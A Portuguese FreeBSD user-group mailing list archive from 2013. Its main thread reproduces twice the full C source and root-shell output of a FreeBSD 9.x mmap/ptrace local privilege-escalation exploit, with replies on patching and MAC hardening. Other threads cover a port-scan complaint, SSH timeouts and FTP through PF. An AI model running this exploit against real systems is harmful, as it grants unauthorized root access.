errada então até nisso o menino que fez o exploit resolveu usar o timing pra 
fazer barulho.

Alias a afirmação que a segurança do FreeBSD é de 20 anos atrás é no mínimo, 
imprecisa. Sistemas com política mac do tipo bsd_partition como o Evandro 
mencionou, não permitem essa exploração (logico contanto que o PID esteja 
isolado em um partition diferente do partition 0 que é do root/kernel), 
firewall de sistema de arquivos não evita a exploração da falha Evandro 
(bsd_extended) mas políticas MAC e o PARTITION sim, evitam. Capabilities também 
evita.

Ou seja recurso pra hardening "contemporâneo" FreeBSD tem. Talvez mais que 
outros sistemas.

Acho que o certo seria dizer que temos sysadmins com noção de segurança de 20 
anos atrás. Não que o FreeBSD tem a mesma segurança. Está ai, quem aqui da 
lista usa MAC partition? MLS? LOMAC? BIBA (olha a homofobia antes de responder 
hehehe)? Alias quem na lista tem chflags ou securelevel acima de 0? Alias quem 
daqui tem seu webserver, e outros servidores tipicamente sucetiveis a ataques 
no minimo dentro de um jail? Porque a falha em questão não permite por exemplo 
escapar de um jail:

% ./a
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger
# id
uid=0(root) gid=0(wheel) egid=1001(freebsdbrasil) 
groups=1001(freebsdbrasil),0(wheel)
# jls
   JID  IP Address  Hostname  Path
# ls -di /
9470208 /

Então se nem o mínimo nego anda fazendo, talvez o que tenhamos, igual há 20 
anos, sejam mesmo os sysadmins - com noção de segurança de 20 anos atrás. Se 
bem que as vezes tenho saudade 

Afinal do que adianta o DoD ter tuxado milhoes de USD no TrustedBSD se ninguem 
usa nem… securelevel positivo ou jail? ehahuhuaa não que nesse caso fosse 
mitigar a falha mas serve pra se pensar a respeito.

Porque grandes commiters de kernel que as vezes deixam algo passar e ger

Re: [FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Daniel Bristot de Oliveira]

o FreeBSD começou em 1993, este ano comemora-se 20th aniversário do Freebsd.

Os problemas de "20 anos atrás" vem do fato de que o FreeBSD à 20 anos
atrás, como era um sistema "nascendo", com muitas features novas, tinha
bugs facilmente exploráveis, como este.

Então, o que ele quis dizer foi, com um tom de ironismo:

O FreeBSD tem falhas de segurança, como à 20 anos atrás, quando estava
nascendo. Ele quis então dizer que o FreeBSD é um sistema imaturo, mas pelo
e-mail, não mais imaturo quanto ele (o cara que escreveu).



On Thu, Jun 20, 2013 at 3:42 PM, Evandro Nunes wrote:

> On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim  >wrote:
>
> > É pessoal,
> >
> > Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
> > detectar isso?  :(
> > E funciona lindo mesmo o programa.
> >
>
> de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
> falha do freebsd 9 inclusive o security adv so explora o freebsd 9
> alguem teve sucesso com freebsd 8, 7, outro?
> acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
> pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
> root nem quem tem mac_partition ou bsdextended implementado
>
> nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
> "ultra mega hacker expert" só fez o exploit depois que o advisory foi
> publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
> documentado e corrigido e vem tirar uma onda de full disclosure...
>
>
> >
> >
> >  Mensagem original 
> > Assunto:Happy Birthday FreeBSD! Now you are 20 years old and your
> > security is the same as 20 years ago... :)
> > Data:   Wed, 19 Jun 2013 23:32:59 +0200
> > De: Hunger 
> > Para:   full-disclos...@lists.grok.org.uk
> >
> >
> >
> > $ uname -a
> > FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
> > 4 09:23:10 UTC 2012
> > r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
> > $ id
> > uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
> > $ gcc fbsd9lul.c -o fbsd9lul
> > $ ./fbsd9lul
> > FreeBSD 9.{0,1} mmap/ptrace exploit
> > by Hunger 
> > # id
> > uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
> > #
> >
> >
> >  code =
> >
> > /*
> >   * FreeBSD 9.{0,1} mmap/ptrace exploit
> >   * by Hunger
> >   *
> >   * Happy Birthday FreeBSD!
> >   * Now you are 20 years old and your security is the same as 20 years
> > ago...
> >   *
> >   * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs,
> > prof,
> >   *  sd, sghctoma, snq, spender, s2crew and others at
> > #hekkcamp:
> >   *  I hope we'll meet again at 8@1470n
> >   *
> >   * Special thanks to proactivesec.com
> >   *
> >   */
> >
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> >
> > #define SH "/bin/sh"
> > #define TG "/usr/sbin/timedc"
> >
> > int
> > main(int ac, char **av) {
> > int from_fd, to_fd, status;
> > struct stat st;
> > struct ptrace_io_desc piod;
> > char *s, *d;
> > pid_t pid;
> >
> > if (geteuid() == 0)  {
> >  setuid(0);
> >  execl(SH, SH, NULL);
> >  return 0;
> > }
> >
> > printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
> > printf("by Hunger\n");
> >
> > if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
> >  (to_fd = open(TG, O_RDONLY)) == -1)
> >  err(1, "open");
> >
> > if (stat(av[0], &st) == -1)
> >  err(2, "stat");
> >
> > if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
> >  MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
> >  (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
> >  MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
> > MAP_FAILED)
> >  err(3, "mmap");
> >
> > if ((pid = fork()) == -1)
> >  err(4, "fork");
> >
> > if (!pid) {
> >  if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
> >  err(5, "ptraceme");
> >
> >  return 0;
> >  }
> >
> > if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
> >  err(6, "ptattach");
> >
> > if (wait(&status) == -1)
> >  err(7, "wait");
> >
> > piod.piod_op = PIOD_WRITE_D;
> > piod.piod_offs = d;
> > piod.piod_addr = s;
> > piod.piod_len  = st.st_size;
> >
> > if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
> >  err(8, "ptio");
> >
> > execl(TG, TG, NULL);
> >
> > return 0;
> > }
> >
> >
> >
> > -
> > Histórico: http://www.fug.com.br/historico/html/freebsd/
> > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> >
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>

Re: [FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Evandro Nunes]

On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim wrote:

> É pessoal,
>
> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
> detectar isso?  :(
> E funciona lindo mesmo o programa.
>

de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
falha do freebsd 9 inclusive o security adv so explora o freebsd 9
alguem teve sucesso com freebsd 8, 7, outro?
acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
root nem quem tem mac_partition ou bsdextended implementado

nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
"ultra mega hacker expert" só fez o exploit depois que o advisory foi
publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
documentado e corrigido e vem tirar uma onda de full disclosure...


>
>
>  Mensagem original 
> Assunto:Happy Birthday FreeBSD! Now you are 20 years old and your
> security is the same as 20 years ago... :)
> Data:   Wed, 19 Jun 2013 23:32:59 +0200
> De: Hunger 
> Para:   full-disclos...@lists.grok.org.uk
>
>
>
> $ uname -a
> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
> 4 09:23:10 UTC 2012
> r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
> $ id
> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
> $ gcc fbsd9lul.c -o fbsd9lul
> $ ./fbsd9lul
> FreeBSD 9.{0,1} mmap/ptrace exploit
> by Hunger 
> # id
> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
> #
>
>
>  code =
>
> /*
>   * FreeBSD 9.{0,1} mmap/ptrace exploit
>   * by Hunger
>   *
>   * Happy Birthday FreeBSD!
>   * Now you are 20 years old and your security is the same as 20 years
> ago...
>   *
>   * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs,
> prof,
>   *  sd, sghctoma, snq, spender, s2crew and others at
> #hekkcamp:
>   *  I hope we'll meet again at 8@1470n
>   *
>   * Special thanks to proactivesec.com
>   *
>   */
>
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
>
> #define SH "/bin/sh"
> #define TG "/usr/sbin/timedc"
>
> int
> main(int ac, char **av) {
> int from_fd, to_fd, status;
> struct stat st;
> struct ptrace_io_desc piod;
> char *s, *d;
> pid_t pid;
>
> if (geteuid() == 0)  {
>  setuid(0);
>  execl(SH, SH, NULL);
>  return 0;
> }
>
> printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
> printf("by Hunger\n");
>
> if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
>  (to_fd = open(TG, O_RDONLY)) == -1)
>  err(1, "open");
>
> if (stat(av[0], &st) == -1)
>  err(2, "stat");
>
> if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
>  MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
>  (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
>  MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
> MAP_FAILED)
>  err(3, "mmap");
>
> if ((pid = fork()) == -1)
>  err(4, "fork");
>
> if (!pid) {
>  if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
>  err(5, "ptraceme");
>
>  return 0;
>  }
>
> if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
>  err(6, "ptattach");
>
> if (wait(&status) == -1)
>  err(7, "wait");
>
> piod.piod_op = PIOD_WRITE_D;
> piod.piod_offs = d;
> piod.piod_addr = s;
> piod.piod_len  = st.st_size;
>
> if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
>  err(8, "ptio");
>
> execl(TG, TG, NULL);
>
> return 0;
> }
>
>
>
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] TCP PORT SCAN

[Nilton Jose Rizzo]

Em Thu, 20 Jun 2013 14:40:31 -0300, Márcio Elias escreveu
> 2013/6/20 Nilton Jose Rizzo 
> 
> > Em Thu, 20 Jun 2013 11:26:16 -0300, Márcio Elias escreveu
> > > 2013/6/20 Márcio Elias 
> > >
> > > > 2013/6/20 Marcelo Gondim 
> > > >
> > > >> Em 20/06/13 09:35, Márcio Elias escreveu:
> > > >> > Bom dia colegas,
> > > >> >
> > > >> > trabalho em um ISP e recebi um e-mail do registro.br que me gerou
> > > >> algumas
> > > >> > dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
> > > >> > realizado a partir de um de nossos IPs para um determinado ip na
> > porta
> > > >> 6881.
> > > >> >
> > > >> > Abaixo vou colocar o e-mail recebido (com dados mascarados) para 
que
> > vcs
> > > >> > possam me dar a opinião de vcs sobre isso,
> > > >> >
> > > >> > Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
> > > >> > xxx.xxx.3.103/32 (PORT:6881)
> > > >> >
> > > >> > "Caro Sr. ,
> > > >> >
> > > >> > Favor investigar o incidente descrito com os logs parciais abaixo,
> > > >> > e dar o devido tratamento reportando com copia para todos os
> > enderecos
> > > >> > listados acima com as providencias/medidas tomadas para que tal
> > evento
> > > >> > nao volte a se repetir.
> > > >> >
> > > >> > No caso de tratamento indevido deste evento com reincidencia, serao
> > > >> > adotadas politicas unilaterais de protecao pelo Registro.br.
> > > >> >
> > > >> >
> > > >> >
> > > >>
> > Logs-
> > --
> > > >> > "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > > >> > "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
> > > >> >
> > > >> >
> > > >> > Pois bem, pesquisando descobri que o range de portas 6881-6999 é
> > usado
> > > >> > por DHT no protocolo BitTorrent.
> > > >> >
> > > >> >
> > > >> > Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é
> > que
> > > >> > trata-se de um port scan...
> > > >> >
> > > >> >
> > > >> > Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
> > > >> > evitar este tipo de problema?
> > > >> >
> > > >> >
> > > >> > Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
> > > >> > rotear sub-redes do meu bloco de IPs.
> > > >> >
> > > >> >
> > > >> > Obrigado.
> > > >> >
> > > >> >
> > > >> Marcio,
> > > >>
> > > >> Primeiro de tudo. De onde partiu o provável scan é um servidor seu ou
> > um
> > > >> cliente de IP dinâmico?
> > > >> Acredito que seja um servidor e se for sugiro olhar os processos
> > rodando
> > > >> e checagens habituais pois você poderia estar com algo rodando nele.
> > > >> Como você mesmo disse essa porta é utilizada para conexões entrantes
> > de
> > > >> torrents. O deluged mesmo é um server que escuta nessa porta por
> > padrão
> > > >> se eu não estou enganado. Dá uma auditada nesse seu servidor.
> > > >>
> > > >> Grande abraço,
> > > >> Gondim
> > > >>
> > > >> -
> > > >> Histórico: http://www.fug.com.br/historico/html/freebsd/
> > > >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> > > >
> > > >
> > > > Humm, Valeu Marcelo, vou verificar isso. Embora o acesso a esses
> > > > servidores seja bem restrito. Todas as portas de acesso a ele estão
> > abertas
> > > > somente para um servidor que controla nossa intranet...
> > > >
> > > > Bom, auditarei o mesmo como vc falou e qualquer coisa volto a
> > questionar
> > > > aqui.
> > > >
> > > > Obrigado por hora.
> > > >
> > > >
> > > >
> > > > Bom, verifiquei os processos, e não encontrei nenhuma anomalia. Não
> > > contente com isso, instalei o chkrootkit e rodei ele no server em 
questão
> > > para verificar algum possível rootkit instalado, mais também nada...
> > >
> > > Acho mesmo que esse port scan partiu de um cliente de de uma rede atrás
> > > deste servidor (os clientes tem ips inválidos e passam por um NAT).
> > >
> > > Algum conselho pra evitar esse tipo de serviço por parte dos usuários
> > > conectados a meu servidor por meio de IPFW?
> > >
> > > Ou que seja por outro software..
> > >
> > > Obrigado
> >
> >   Você loga as conexões nesse servidor, se não, deveria pois só assim
> > poderá indentificar que originou essa conexeão.
> >
> >   Eu sou meio neurótico com isso .. tinha uma regra no meu ipfw assim
> >
> > ipfw add 1 count log logamount 0 ip from any to any
> >
> >isso gera Kilos de logs, você deve ter uma maneira eficiente de
> > gerenc

Re: [FUG-BR] TCP PORT SCAN

[Márcio Elias]

2013/6/20 Nilton Jose Rizzo 

> Em Thu, 20 Jun 2013 11:26:16 -0300, Márcio Elias escreveu
> > 2013/6/20 Márcio Elias 
> >
> > > 2013/6/20 Marcelo Gondim 
> > >
> > >> Em 20/06/13 09:35, Márcio Elias escreveu:
> > >> > Bom dia colegas,
> > >> >
> > >> > trabalho em um ISP e recebi um e-mail do registro.br que me gerou
> > >> algumas
> > >> > dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
> > >> > realizado a partir de um de nossos IPs para um determinado ip na
> porta
> > >> 6881.
> > >> >
> > >> > Abaixo vou colocar o e-mail recebido (com dados mascarados) para que
> vcs
> > >> > possam me dar a opinião de vcs sobre isso,
> > >> >
> > >> > Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
> > >> > xxx.xxx.3.103/32 (PORT:6881)
> > >> >
> > >> > "Caro Sr. ,
> > >> >
> > >> > Favor investigar o incidente descrito com os logs parciais abaixo,
> > >> > e dar o devido tratamento reportando com copia para todos os
> enderecos
> > >> > listados acima com as providencias/medidas tomadas para que tal
> evento
> > >> > nao volte a se repetir.
> > >> >
> > >> > No caso de tratamento indevido deste evento com reincidencia, serao
> > >> > adotadas politicas unilaterais de protecao pelo Registro.br.
> > >> >
> > >> >
> > >> >
> > >>
> Logs-
> --
> > >> > "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > >> > "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
> > >> >
> > >> >
> > >> > Pois bem, pesquisando descobri que o range de portas 6881-6999 é
> usado
> > >> > por DHT no protocolo BitTorrent.
> > >> >
> > >> >
> > >> > Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é
> que
> > >> > trata-se de um port scan...
> > >> >
> > >> >
> > >> > Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
> > >> > evitar este tipo de problema?
> > >> >
> > >> >
> > >> > Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
> > >> > rotear sub-redes do meu bloco de IPs.
> > >> >
> > >> >
> > >> > Obrigado.
> > >> >
> > >> >
> > >> Marcio,
> > >>
> > >> Primeiro de tudo. De onde partiu o provável scan é um servidor seu ou
> um
> > >> cliente de IP dinâmico?
> > >> Acredito que seja um servidor e se for sugiro olhar os processos
> rodando
> > >> e checagens habituais pois você poderia estar com algo rodando nele.
> > >> Como você mesmo disse essa porta é utilizada para conexões entrantes
> de
> > >> torrents. O deluged mesmo é um server que escuta nessa porta por
> padrão
> > >> se eu não estou enganado. Dá uma auditada nesse seu servidor.
> > >>
> > >> Grande abraço,
> > >> Gondim
> > >>
> > >> -
> > >> Histórico: http://www.fug.com.br/historico/html/freebsd/
> > >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> > >
> > >
> > > Humm, Valeu Marcelo, vou verificar isso. Embora o acesso a esses
> > > servidores seja bem restrito. Todas as portas de acesso a ele estão
> abertas
> > > somente para um servidor que controla nossa intranet...
> > >
> > > Bom, auditarei o mesmo como vc falou e qualquer coisa volto a
> questionar
> > > aqui.
> > >
> > > Obrigado por hora.
> > >
> > >
> > >
> > > Bom, verifiquei os processos, e não encontrei nenhuma anomalia. Não
> > contente com isso, instalei o chkrootkit e rodei ele no server em questão
> > para verificar algum possível rootkit instalado, mais também nada...
> >
> > Acho mesmo que esse port scan partiu de um cliente de de uma rede atrás
> > deste servidor (os clientes tem ips inválidos e passam por um NAT).
> >
> > Algum conselho pra evitar esse tipo de serviço por parte dos usuários
> > conectados a meu servidor por meio de IPFW?
> >
> > Ou que seja por outro software..
> >
> > Obrigado
>
>   Você loga as conexões nesse servidor, se não, deveria pois só assim
> poderá indentificar que originou essa conexeão.
>
>   Eu sou meio neurótico com isso .. tinha uma regra no meu ipfw assim
>
> ipfw add 1 count log logamount 0 ip from any to any
>
>isso gera Kilos de logs, você deve ter uma maneira eficiente de
> gerenciar essa montueira de informações.
>
>Eu fazia o seguinte:
>
>  a cada 24h fazia o rotate do log e criava um backup em uma máquina
>  remota, só para armazenar os backups dos logs compactados apos 6 meses
>  gerava um dvd com os logs mais antigos e os apagava da máquina, e assim
>  ficavam armazenados por mais 2 an

Re: [FUG-BR] TCP PORT SCAN

[Nilton Jose Rizzo]

Em Thu, 20 Jun 2013 11:26:16 -0300, Márcio Elias escreveu
> 2013/6/20 Márcio Elias 
> 
> > 2013/6/20 Marcelo Gondim 
> >
> >> Em 20/06/13 09:35, Márcio Elias escreveu:
> >> > Bom dia colegas,
> >> >
> >> > trabalho em um ISP e recebi um e-mail do registro.br que me gerou
> >> algumas
> >> > dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
> >> > realizado a partir de um de nossos IPs para um determinado ip na porta
> >> 6881.
> >> >
> >> > Abaixo vou colocar o e-mail recebido (com dados mascarados) para que 
vcs
> >> > possam me dar a opinião de vcs sobre isso,
> >> >
> >> > Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
> >> > xxx.xxx.3.103/32 (PORT:6881)
> >> >
> >> > "Caro Sr. ,
> >> >
> >> > Favor investigar o incidente descrito com os logs parciais abaixo,
> >> > e dar o devido tratamento reportando com copia para todos os enderecos
> >> > listados acima com as providencias/medidas tomadas para que tal evento
> >> > nao volte a se repetir.
> >> >
> >> > No caso de tratamento indevido deste evento com reincidencia, serao
> >> > adotadas politicas unilaterais de protecao pelo Registro.br.
> >> >
> >> >
> >> >
> >> Logs-
--
> >> > "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> >> > "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
> >> >
> >> >
> >> > Pois bem, pesquisando descobri que o range de portas 6881-6999 é usado
> >> > por DHT no protocolo BitTorrent.
> >> >
> >> >
> >> > Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é que
> >> > trata-se de um port scan...
> >> >
> >> >
> >> > Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
> >> > evitar este tipo de problema?
> >> >
> >> >
> >> > Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
> >> > rotear sub-redes do meu bloco de IPs.
> >> >
> >> >
> >> > Obrigado.
> >> >
> >> >
> >> Marcio,
> >>
> >> Primeiro de tudo. De onde partiu o provável scan é um servidor seu ou um
> >> cliente de IP dinâmico?
> >> Acredito que seja um servidor e se for sugiro olhar os processos rodando
> >> e checagens habituais pois você poderia estar com algo rodando nele.
> >> Como você mesmo disse essa porta é utilizada para conexões entrantes de
> >> torrents. O deluged mesmo é um server que escuta nessa porta por padrão
> >> se eu não estou enganado. Dá uma auditada nesse seu servidor.
> >>
> >> Grande abraço,
> >> Gondim
> >>
> >> -
> >> Histórico: http://www.fug.com.br/historico/html/freebsd/
> >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> >
> >
> > Humm, Valeu Marcelo, vou verificar isso. Embora o acesso a esses
> > servidores seja bem restrito. Todas as portas de acesso a ele estão 
abertas
> > somente para um servidor que controla nossa intranet...
> >
> > Bom, auditarei o mesmo como vc falou e qualquer coisa volto a questionar
> > aqui.
> >
> > Obrigado por hora.
> >
> >
> >
> > Bom, verifiquei os processos, e não encontrei nenhuma anomalia. Não
> contente com isso, instalei o chkrootkit e rodei ele no server em questão
> para verificar algum possível rootkit instalado, mais também nada...
> 
> Acho mesmo que esse port scan partiu de um cliente de de uma rede atrás
> deste servidor (os clientes tem ips inválidos e passam por um NAT).
> 
> Algum conselho pra evitar esse tipo de serviço por parte dos usuários
> conectados a meu servidor por meio de IPFW?
> 
> Ou que seja por outro software..
> 
> Obrigado

  Você loga as conexões nesse servidor, se não, deveria pois só assim
poderá indentificar que originou essa conexeão.

  Eu sou meio neurótico com isso .. tinha uma regra no meu ipfw assim

ipfw add 1 count log logamount 0 ip from any to any

   isso gera Kilos de logs, você deve ter uma maneira eficiente de 
gerenciar essa montueira de informações.

   Eu fazia o seguinte:

 a cada 24h fazia o rotate do log e criava um backup em uma máquina
 remota, só para armazenar os backups dos logs compactados apos 6 meses
 gerava um dvd com os logs mais antigos e os apagava da máquina, e assim
 ficavam armazenados por mais 2 anos

 A maquina de log ficava em uma rede privada própria sem conexão direta
 com nenhuma outra máquina sem ser os servidores e o servidor de backup é quem
 iniciava a cópia dos arquivos e não ao contrário.


   S1S2...S5
 \   |   /
  \  |

Re: [FUG-BR] Timeout SSH

[Rodrigo Gonçalves Crescencio]

Oi Alexandre,

Fiz o que você recomendou e aparentemente funcionou, alterei para 0 o valor
do ClientAliveCountMax, vou fazer mais uns testes mas acredito que tenha
solucionado da forma que eu queria.

Como trabalhamos somente com o "su -" os usuários do suporte não podem logar
como root, também coloquei por redundância a solução do Fábio a de autologou
no shell, com tempos diferentes.

Pelo menos agora da para evitar alguns problemas, que passei por causa das
sessões abertas.

Vlw !
Att,
Rodrigo



-Original Message-
From: freebsd-boun...@fug.com.br [mailto:freebsd-boun...@fug.com.br] On
Behalf Of Alexandre Silva Nano
Sent: quinta-feira, 20 de junho de 2013 13:49
To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR)
Subject: Re: [FUG-BR] Timeout SSH

Em 20 de junho de 2013 12:46, Rodrigo Gonçalves Crescencio <
rodr...@rcsolucoesinteligentes.com.br> escreveu:

> Oi Alexandre,
> Desculpe pelo Top-posting, foi realmente sem querer.
> Então já fiz esta configuração, inclusive utilizei 300, 150, até com 
> os 600 segundos, mesmo deixando o console por horas parado ele não mata a
conexão.
> Cheguei até a reinicializar o servidor (como se precisasse... rsrs) 
> mas infelizmente não foi
> ww.fug.com.br/mailman/listinfo/freebsd listinfo/freebsd>
>

Experimente setar o ClientAliveCountMax para 0. Isso faz com que seja
somente enviado uma solicitação de keepalive. Depois disso, ele mata a
sessão.

--
Att, Alexandre Silva Nano
Three Towers Consultoria
Enterasys Security Systems Engineer - IPS/SIEM Enterasys Certified
Specialist - NAC, Switching

Analista de Tecnologia da Informação e Comunicação

Perfil LinkedIn: http://br.linkedin.com/pub/alexandre-silva-nano/33/59/77a
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] FTP - PF.

[João Mancy]

Em 20 de junho de 2013 14:04, Adiel de Lima Ribeiro <
adiel.netad...@gmail.com> escreveu:

> On Thu, 2013-06-20 at 13:24 -0300, João Mancy wrote:
> > Em 20 de junho de 2013 13:20, João Mancy  escreveu:
> >
> > >
> > >
> > >
> > > Em 20 de junho de 2013 11:58, Adiel de Lima Ribeiro <
> > > adiel.netad...@gmail.com> escreveu:
> > >
> > > Lista, bom dia.
> > >> Estou tendo problemas em pegar pacotes do NetBSD (192.168.254.126) via
> > >> FTP.
> > >>
> > >> No meu pf.conf eu já adicionei as regras para ftp.
> > >> Sessão NAT do PF:
> > >> nat-anchor "ftp-proxy/*"
> > >> rdr-anchor "ftp-proxy/*"
> > >> rdr on $lan_if proto tcp from any to any port ftp -> 127.0.0.1 port
> 8021
> > >> Sessão Rules:
> > >> pass in on $lan_if from 192.168.254.126 to any keep state
> > >> Já iniciei o serviço com o comando:
> > >> /usr/sbin/ftp-proxy
> > >> Também já adicionei no rc.conf:
> > >> ftpproxy_flags=""
> > >>
> > >> Existe mais algo que eu possa fazer?
> > >>
> > >> No TCPDUMP até consigo verificar que a comunicação ocorre, conforme
> log,
> > >> mas não conecta, e não é somente neste site, mas em outros também.
> > >> Aproveitando o gancho, alguma dica para analise de dados com TCPDUMP?
> > >> Obrigado.
> > >>
> > >> Log:
> > >> 11:31:27.261968 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
> > >> TCP (6), length 64)
> > >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [S], cksum
